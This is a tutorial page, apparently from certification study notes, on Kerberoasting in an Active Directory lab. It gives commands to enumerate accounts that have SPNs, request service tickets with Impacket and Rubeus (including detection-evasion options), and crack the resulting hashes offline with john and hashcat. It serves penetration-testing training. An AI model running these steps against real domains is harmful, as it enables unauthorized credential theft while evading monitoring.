# 7.4 - Kerberoasting

## Kerberoasting

Kerberoasting targets **service accounts with an assigned SPN**. When a user requests access to a service, they receive a **Service Ticket (ST)** encrypted with the service account’s long-term password.

If an attacker can obtain the **ST**, they can attempt to crack the encryption offline to retrieve the service account password.

#### Kerberos Ticket Exchange for Services

```
3) TGS-REQ (Client -> KDC/TGS)
   - TGT 🔑 Encrypted with KDC key
   - Authenticator Data 🔑 Encrypted with TGS Session Key

4) TGS-REP (KDC/TGS -> Client)
   - ST 🔑 Encrypted with Service key
   - Service Session Key 🔑 Encrypted with TGS Session Key
```

Unlike AS-REP Roasting, Kerberoasting requires valid domain user credentials to request a service ticket.

### Example: Exploiting Kerberoasting

**Step 1: Create a User with an SPN**

```powershell
New-ADUser -Name "kerberoasting" -SamAccountName "kerberoasting" -UserPrincipalName "kerberoasting@dev-angelist" -AccountPassword (ConvertTo-SecureString -AsPlainText "Password123!" -Force) -Enabled $true
```

**Step 2: Assign an SPN**

```powershell
Set-ADUser -Identity "kerberoasting" -ServicePrincipalNames @{Add="HTTP/kerberoasting.dev-angelist.lab"}
```

**Step 3: Verify the SPN**

```powershell
Get-ADUser -Identity "kerberoasting" -Properties ServicePrincipalNames
setspn -L kerberoasting
```

<figure><img src="https://3295003978-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2F0VoFkXlcamRW1EV8XKU7%2Fuploads%2FRVtIiJUjIrrGl3Kq6pA5%2Fimage.png?alt=media&#x26;token=25547ba8-70f3-477b-b7bb-90ea9ae31e18" alt=""><figcaption></figcaption></figure>

**Step 4: Identify Kerberoastable Accounts**

```bash
#On attacker machine create a dedicated python environment (optional)
python3 -m venv venv
. venv/bin/activate
pip3 install impacket
#Check kerberoastable users using the Impacket's module: GetUserSPNs.py
GetUserSPNs.py dev-angelist.lab/devan:'Password123!' -dc-ip corp-dc
#Or using AD Module and PowerView (Windows)
Get-ADUser -Filter {ServicePrincipalName -ne "$null"} -Properties ServicePrincipalName
Get-DomainUser -SPN

```

<figure><img src="https://3295003978-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2F0VoFkXlcamRW1EV8XKU7%2Fuploads%2Fi7vRDgpIvzeFxwGMZcEo%2Fimage.png?alt=media&#x26;token=edf9c2e8-e533-45d6-b1ce-11fe31f1970d" alt=""><figcaption></figcaption></figure>

in this case there're two vulnerable users: 'kerberoasting' and 'angel'.

**Step 5: Request Service Tickets for Kerberoasting**

```powershell
GetUserSPNs.py dev-angelist.lab/devan:'Password123!' -dc-ip corp-dc -request #without specifing a user it checks all possible tickets
GetUserSPNs.py dev-angelist.lab/devan:'Password123!' -dc-ip corp-dc -request-user kerberoasting | grep '\$krb5tgs\$' > kerberoast.txt
```

or using Rubeus:

<pre class="language-powershell"><code class="lang-powershell"><strong>#View statistics on Kerberoastable accounts:
</strong>Rubeus.exe kerberoast /stats
#Request a TGS for a specific user:
Rubeus.exe kerberoast /user:svcadmin /simple
#To avoid detection (e.g., MDI logging downgrade attacks), target accounts restricted to RC4:
Rubeus.exe kerberoast /stats /rc4opsec
Rubeus.exe kerberoast /user:svcadmin /simple /rc4opsec
#Kerberoast all RC4-only accounts and output to file:
Rubeus.exe kerberoast /rc4opsec /outfile:hashes.txt
</code></pre>

<figure><img src="https://3295003978-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2F0VoFkXlcamRW1EV8XKU7%2Fuploads%2FeMUa5AtCm4Dr9ExiWSlN%2Fimage.png?alt=media&#x26;token=eea1bca3-9ce7-4329-b728-97a3c8b588a6" alt=""><figcaption></figcaption></figure>

<figure><img src="https://3295003978-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2F0VoFkXlcamRW1EV8XKU7%2Fuploads%2FxSR36nJc4YWGSpQAha23%2Fimage.png?alt=media&#x26;token=87660f24-fa14-4f75-a5e1-8ad10ed74d9b" alt=""><figcaption></figcaption></figure>

**Step 6: Crack the Service Ticket**

```bash
john --wordlist=/home/kali/Documents/password.txt ./kerberoast.txt
hashcat -m 18200 ./kerberoast.txt /home/kali/Documents/password.txt
#john.exe --wordlist=C:\AD\Tools\kerberoast\10kworst-pass.txt C:\AD\Tools\hashes.txt
```

<figure><img src="https://3295003978-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2F0VoFkXlcamRW1EV8XKU7%2Fuploads%2FqoFBRjTV9XQjcvglWAhD%2Fimage.png?alt=media&#x26;token=60e716a7-1f12-411f-aa93-713bd0789ad3" alt=""><figcaption></figcaption></figure>

#### Troubleshooting: Clock Skew Errors

If you encounter `KRB_AP_ERR_SKEW (Clock skew too great)`, synchronize the clocks with:

```bash
sudo timedatectl set-ntp off
ntpdate -q corp-dc
ntpdate -u corp-dc
```

***

## Other Resources

* [Kerberos Authentication Hexdump YT](https://www.youtube.com/watch?v=dQz3CMlVYNY\&list=PLJnLaWkc9xRi71Pso26JlvyBkLUOETLjn)
* [Roasting attacks Hexdump YT](https://www.youtube.com/watch?v=fVTZEIZIEqg)

### Labs

* [Learning Object 15 lab](https://dev-angelist.gitbook.io/crtp-notes/readme/lab/15-lo1-5)
